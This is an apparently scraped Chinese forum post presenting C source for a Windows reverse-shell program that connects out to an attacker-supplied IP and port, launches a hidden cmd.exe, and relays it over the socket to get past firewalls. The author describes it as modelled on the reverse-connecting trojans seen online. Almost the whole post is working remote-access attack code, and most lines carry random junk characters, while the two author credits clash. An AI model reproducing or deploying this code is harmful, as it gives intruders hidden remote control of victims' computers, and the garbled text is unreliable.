这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E(U}$Zey
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/* ============================== @+X}O/74
Rebound port in Windows NT r5iO%JFg
By wind,2006/7 @#H{nj
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===============================*/ 0I?3@Nz6
#include a\m10Ih:
#include 25ZGuM
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#pragma comment(lib,"wsock32.lib") Ef `LBAfOO
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void OutputShell(); :g9z^ $g
SOCKET sClient; JkxS1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; FvI`S>
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void main(int argc,char **argv) (Fgt #H(B
{ Nyqm0C6m^
WSADATA stWsaData; Dfhs@ z
int nRet; |f?C*t',
SOCKADDR_IN stSaiClient,stSaiServer; *u{.K:.I
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if(argc != 3) M*S5&xpX
{ fp![Pbms.
printf("Useage:\n\rRebound DestIP DestPort\n"); dju&Ku
return; {M~!?#<K
} 8:xQPd?3
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WSAStartup(MAKEWORD(2,2),&stWsaData); j'J*QK&Q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); };!c]/,
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); 3MzY]J
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0\~Zg
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d|NNIf
{ d<3"$%C
printf("Bind Socket Failed!\n"); \%Smp2K
return; M{4_BQ4$
} G<dXJ ]\\
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stSaiServer.sin_family = AF_INET; 0?h .X=G
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (_08?cN
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `WW0~Tp3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8say"Qz
{ Q8~pIv
printf("Connect Error!"); q%vUEQLBp
return; K/,lw~>
} mDmWTq\
OutputShell(); r4lG 5dV
} PYf`a`dH
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void OutputShell() mHMej@
{ ]1[;A$7
char szBuff[1024]; XN0Y#l
SECURITY_ATTRIBUTES stSecurityAttributes; '~cEdGD9H
OSVERSIONINFO stOsversionInfo; gPi_+-@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }Tef;8d
STARTUPINFO stStartupInfo; Mvh_>-i
char *szShell; 3*TS
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PROCESS_INFORMATION stProcessInformation; (~GFd7
unsigned long lBytesRead; awK'XFk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ja&%J:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S_CtEM
stSecurityAttributes.lpSecurityDescriptor = 0; 8#Z5-",iw
stSecurityAttributes.bInheritHandle = TRUE; HKkf+)%)x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g3XAs@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !%X`c94
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aVYUk7_ <
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,H?p9L; qp
stStartupInfo.wShowWindow = SW_HIDE; ;Z_C3/b
stStartupInfo.hStdInput = hReadPipe; eQx"nl3U%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #c>MUC(?s:
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GetVersionEx(&stOsversionInfo); kI'A`
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switch(stOsversionInfo.dwPlatformId) ^-!HbbVv
{ h;KK6*Z*$E
case 1: N96BWgT
szShell = "command.com"; z{d5Lrk
break; wVOL7vh
default: iL, XBoE
szShell = "cmd.exe"; =R.9"7~2x
break; ks;w c"k"
} ODEXQl}R
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2>k)=hl:
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send(sClient,szMsg,77,0); m4wTg
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while(1) @RIEO%S
{ c1J)yv1y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h$k3MhYDes
if(lBytesRead) E3skC%}
{ |mmG
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); He!!oKK>
send(sClient,szBuff,lBytesRead,0);
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} lKUm_; m
else Bed jw =B
{ ]P$DAi
lBytesRead=recv(sClient,szBuff,1024,0); <\g&%c,
if(lBytesRead<=0) break; :(`>bY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CJixK>Y^
} ~bTae =FP
} ;x^,t@ xge
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return; +[/r^C
}